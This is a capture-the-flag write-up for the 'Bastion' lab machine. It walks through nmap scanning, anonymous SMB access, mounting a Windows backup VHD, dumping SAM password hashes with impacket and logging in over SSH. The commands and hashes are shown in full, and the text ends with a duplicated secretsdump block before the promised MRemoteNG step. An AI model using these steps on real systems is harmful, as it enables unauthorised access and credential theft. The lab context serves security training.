

Bastion

Synopsis

Bastion contains a VHD (Virtual Hard Disk) image from which credentials can be extracted. After logging in, the software MRemoteNG is found to be installed which stores passwords insecurely, and from which credentials can be extracted.

Skills

- Enumeration
- Extracting passwords from SAM
- Exploiting MSRemoteNG

Exploitation

As always we start with the nmap to check what services/ports are open

```
# nmap -A 10.10.10.134
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-10 05:20 EDT
Stats: 0:07:23 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 96.37% done; ETC: 05:28 (0:00:17 remaining)
Nmap scan report for 10.10.10.134
Host is up (0.083s latency).
Not shown: 988 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH For_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 3a56ae753c780ec8564dcb1c22bf458a (RSA) OpenSSH For_Windows_7.9
|   256 cc2e56ab1997d5bb03fb82cd63da6801 (ECDSA)
|   256 935f5daaca9f53e7f282e664a8a3a018 (ED25519) OpenSSH For_Windows_7.9
135/tcp    open  msrpc            Microsoft Windows RPC
139/tcp    open  netbios-ssn      Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds     Windows Server 2016 Standard 14393 microsoft-ds
1066/tcp   filtered fpo-fns
1131/tcp   filtered caspsl
1688/tcp   filtered nsjtp-data
3017/tcp   filtered event_listener
3986/tcp   filtered mapper-ws_ethd
6100/tcp   filtered synchronet-db
8083/tcp   filtered us-srv
30000/tcp  filtered ndmps
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=8/10%OT=22%CT=1%CU=36883%PV=Y%DS=2%DC=T%G=Y%TM=64D4AE9
OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=F7%GCD=1%ISR=111%TI=I%CI=I%II=I%SS=S%TS=A
OS: )SEQ(SP=104%GCD=1%ISR=10F%TI=I%CI=I%TS=A)OPS(O1=M53CNW8ST11%O2=M53CNW8ST
OS:11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M53CST11)WIN(W1=2000
OS:%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M53C
OS:NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W
```

We can see multiple ports open, so we decided to start the exploitation process from enumeration and accessing SMB shares

```
# smbmap -H 10.10.10.134 -u anonymous
[+] Guest session IP: 10.10.10.134:445 Name: 10.10.10.134
[!] Work[!] Unable to remove test directory at \\10.10.10.134\Backups\WGFLGZRNVD, please remove manually
Disk Permissions Comment
-----
ADMIN$ NO ACCESS Remote Admin
Backups READ, WRITE
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
```

Inside the “Backups” share we found .VHD files which is used for windows image

```

# smbclient '\\10.10.10.134\Backups\' -U anonymous
Password for [WORKGROUP\anonymous]:
Try "help" to get a list of possible commands.
smb: \> ls
.
..
note.txt
SDT65CB.tmp
WGFLGZRNVD
WindowsImageBackup
638911 blocks of size 4096. 1178457 blocks available
smb: \>

```

```

# cat note.txt
ysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.

(root@kali)~/Desktop/Boxes/Bastion.htb
# mkdir simon_share

(root@kali)~/Desktop/Boxes/Bastion.htb
# mount -t cifs -o "username=anonymous,password=anonymous" \\10.10.10.134\Backups simon_share
mount.cifs: bad UNC (\\10.10.10.134\Backups)

(root@kali)~/Desktop/Boxes/Bastion.htb
# mount -t cifs -o "username=anonymous,password=anonymous" //10.10.10.134/Backups simon_share

(root@kali)~/Desktop/Boxes/Bastion.htb/simon_share
# cd simon_share

(root@kali)~/Desktop/Boxes/Bastion.htb/simon_share
# ls -la
total 9
-rwxr-xr-x 2 root root 4096 Aug 10 05:34 .
-rwxr-xr-x 3 root root 4096 Aug 10 05:37 ..
-r-xr-xr-x 1 root root 116 Apr 16 2019 note.txt
-rwxr-xr-x 1 root root 0 Feb 22 2019 SDT65CB.tmp
-rwxr-xr-x 2 root root 0 Aug 10 05:34 WGFLGZRNVD
-rwxr-xr-x 2 root root 0 Feb 22 2019 WindowsImageBackup

(root@kali)~/Desktop/Boxes/Bastion.htb/simon_share
#

```

```

(root@kali)~/Desktop/Boxes/Bastion.htb/simon_share/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351
# ls -al
total 5330560
drwxr-xr-x 2 root root 0 Feb 22 2019 .
drwxr-xr-x 2 root root 0 Feb 22 2019 ..
-rwxr-xr-x 1 root root 37761024 Feb 22 2019 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
-rwxr-xr-x 1 root root 5418299392 Feb 22 2019 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
-rwxr-xr-x 1 root root 1186 Feb 22 2019 BackupSpecs.xml
-rwxr-xr-x 1 root root 1078 Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFiles3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
-rwxr-xr-x 1 root root 8930 Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
-rwxr-xr-x 1 root root 6542 Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
-rwxr-xr-x 1 root root 2894 Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
-rwxr-xr-x 1 root root 1488 Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
-rwxr-xr-x 1 root root 1484 Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
-rwxr-xr-x 1 root root 3844 Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
-rwxr-xr-x 1 root root 3988 Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbbe000be-11fe-4426-9c58-531aa6355fc4.xml
-rwxr-xr-x 1 root root 7110 Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-9bef-46c7-9181-d62844cde0b2.xml
-rwxr-xr-x 1 root root 2374620 Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writered8132975-6f93-4464-a53e-1050253ae220.xml

(root@kali)~/Desktop/Boxes/Bastion.htb/simon_share/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351
# apt install oledtools

```

We mounted the .VHD files with the intention to access its files

```
# guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro -v /mnt/simon_disk
libguestfs: creating COW overlay to protect original drive content
libguestfs: command: run: qemu-img --help | grep -sqE -- '\binfo\b.*-U\b'
libguestfs: command: run: qemu-img --help | grep -sqE -- '\binfo\b.*-U\b'
libguestfs: command: run: \ info
libguestfs: command: run: \ -U
libguestfs: command: run: \ --output json
libguestfs: command: run: \ /root/Desktop/Boxes/Bastion.htb/simon_share/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
libguestfs: parse_json: qemu-img info JSON output:\n\n  "children": [\n    {\n      "name": "file",\n      "info": {\n        "children": [\n          {\n            "virtual-size": 5418299392,\n            "filename": "/root/Desktop/Boxes/Bastion.htb/simon_share/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd",\n            "format": "file",\n            "actual-size": 5418299392,\n            "format-specific": {\n              "type": "file",\n              "data": {\n                "dirty-flag": false,\n                "actual-size": 5418299392,\n                "dirty-flag": false\n              }\n            }\n          }\n        ],\n        "virtual-size": 15999492096,\n        "filename": "/root/Desktop/Boxes/Bastion.htb/simon_share/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd",\n        "cluster-size": 2097152,\n        "format": "vpc",\n        "actual-size": 5418299392,\n        "dirty-flag": false\n      }\n    }\n  ],\n  "format": "qcow2",\n  "format-specific": {\n    "type": "file",\n    "data": {\n      "dirty-flag": false,\n      "actual-size": 5418299392,\n      "dirty-flag": false\n    }\n  }\n}\n\nlibguestfs: command: run: qemu-img
libguestfs: command: run: \ create
libguestfs: command: run: \ -f qcow2
libguestfs: command: run: \ -o backing_file=/root/Desktop/Boxes/Bastion.htb/simon_share/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd,backing_fmt=vpc
libguestfs: command: run: \ /tmp/libguestfstM1sBC/overlay1.qcow2
Formatting '/tmp/libguestfstM1sBC/overlay1.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=15999492096 backing_file=/root/Desktop/Boxes/Bastion.htb/simon_share/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd backing_fmt=vpc lazy_refcounts=off refcount_bits=16
libguestfs: launch: program=guestmount
libguestfs: launch: version=1.50.1
libguestfs: launch: backend registered: libvirt
libguestfs: launch: backend registered: direct
libguestfs: launch: backend=direct
libguestfs: launch: tmpdir=/tmp/libguestfstM1sBC
libguestfs: launch: umask=0022
libguestfs: launch: euid=0
```

After mounting we found SAM and SYSTEM partition so we used impacket secretsdump to dump all NTLM hashes

```
(root@kali)~# cd /mnt/simon_disk
# ls -la
total 2096745
drwxrwxrwx 1 root root 12288 Feb 22 2019 .
drwxr-xr-x 3 root root 4096 Aug 10 06:39 ..
drwxrwxrwx 1 root root 0 Feb 22 2019 '$Recycle.Bin'
-rwxrwxrwx 1 root root 24 Jun 10 2009 autoexec.bat
-rwxrwxrwx 1 root root 10 Jun 10 2009 config.sys
lrwxrwxrwx 2 root root 14 Jul 14 2009 'Documents and Settings' -> /sysroot/Users
-rwxrwxrwx 1 root root 2147016704 Feb 22 2019 pagefile.sys
drwxrwxrwx 1 root root 0 Jul 13 2009 PerfLogs
drwxrwxrwx 1 root root 4096 Jul 14 2009 ProgramData
drwxrwxrwx 1 root root 4096 Apr 11 2011 'Program Files'
drwxrwxrwx 1 root root 0 Feb 22 2019 Recovery
drwxrwxrwx 1 root root 4096 Feb 22 2019 'System Volume Information'
drwxrwxrwx 1 root root 4096 Feb 22 2019 Users
drwxrwxrwx 1 root root 16384 Feb 22 2019 Windows
```

```

wxrwxrwx 2 root root 1048576 Feb 22 2019 COMPONENTS{6cccd2ec-6e01-11de-8bed-001e0bcd1824}.TxR.1.regtrans-ms
wxrwxrwx 2 root root 1048576 Feb 22 2019 COMPONENTS{6cccd2ec-6e01-11de-8bed-001e0bcd1824}.TxR.2.regtrans-ms
wxrwxrwx 2 root root 65536 Feb 22 2019 COMPONENTS{6cccd2ec-6e01-11de-8bed-001e0bcd1824}.TxR.blf
wxrwxrwx 2 root root 65536 Feb 22 2019 COMPONENTS{6cccd2ec-6e01-11de-8bed-001e0bcd1824}.TM.blf
wxrwxrwx 2 root root 524288 Feb 22 2019 COMPONENTS{6cccd2ec-6e01-11de-8bed-001e0bcd1824}.TMContainer000000000000000001.regtrans-ms
wxrwxrwx 2 root root 524288 Jul 14 2009 COMPONENTS{6cccd2ec-6e01-11de-8bed-001e0bcd1824}.TMContainer000000000000000002.regtrans-ms
wxrwxrwx 2 root root 1024 Apr 11 2011 COMPONENTS.LOG
wxrwxrwx 2 root root 262144 Feb 22 2019 COMPONENTS.LOG1
wxrwxrwx 2 root root 0 Jul 13 2009 COMPONENTS.LOG2
wxrwxrwx 1 root root 262144 Feb 22 2019 DEFAULT
wxrwxrwx 1 root root 1024 Apr 11 2011 DEFAULT.LOG
wxrwxrwx 2 root root 91136 Feb 22 2019 DEFAULT.LOG1
wxrwxrwx 2 root root 0 Jul 13 2009 DEFAULT.LOG2
wxrwxrwx 1 root root 0 Jul 13 2009 Journal
wxrwxrwx 1 root root 0 Feb 22 2019 RegBack
wxrwxrwx 1 root root 262144 Feb 22 2019 SAM
wxrwxrwx 1 root root 1024 Apr 11 2011 SAM.LOG
wxrwxrwx 2 root root 21504 Feb 22 2019 SAM.LOG1
wxrwxrwx 2 root root 0 Jul 13 2009 SAM.LOG2
wxrwxrwx 1 root root 262144 Feb 22 2019 SECURITY
wxrwxrwx 1 root root 1024 Apr 11 2011 SECURITY.LOG
wxrwxrwx 2 root root 21504 Feb 22 2019 SECURITY.LOG1
wxrwxrwx 2 root root 0 Jul 13 2009 SECURITY.LOG2
wxrwxrwx 1 root root 24117248 Feb 22 2019 SOFTWARE
wxrwxrwx 1 root root 1024 Apr 11 2011 SOFTWARE.LOG
wxrwxrwx 2 root root 262144 Feb 22 2019 SOFTWARE.LOG1
wxrwxrwx 2 root root 0 Jul 13 2009 SOFTWARE.LOG2
wxrwxrwx 1 root root 9699328 Feb 22 2019 SYSTEM
wxrwxrwx 1 root root 1024 Apr 11 2011 SYSTEM.LOG
wxrwxrwx 2 root root 262144 Feb 22 2019 SYSTEM.LOG1
wxrwxrwx 2 root root 0 Jul 13 2009 SYSTEM.LOG2
wxrwxrwx 1 root root 4096 Nov 20 2010 systemprofile
wxrwxrwx 1 root root 4096 Feb 22 2019 TxR
-(root@kali)-[/mnt/simon_disk/Windows/System32/config]
#

```

```

└─# python /opt/impacket/examples/secretsdump.py -sam SAM -system SYSTEM LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Cleaning up ...

```

Next we cracked NTLM hash for a user L4mpje and SSH to the box

```

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

l4mpje@BASTION C:\Users\L4mpje>whoami
bastion\l4mpje

-(root@kali)-[/mnt/simon_disk/Windows/System32/config]
└─# python /opt/impacket/examples/secretsdump.py -sam SAM -system SYSTEM LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

```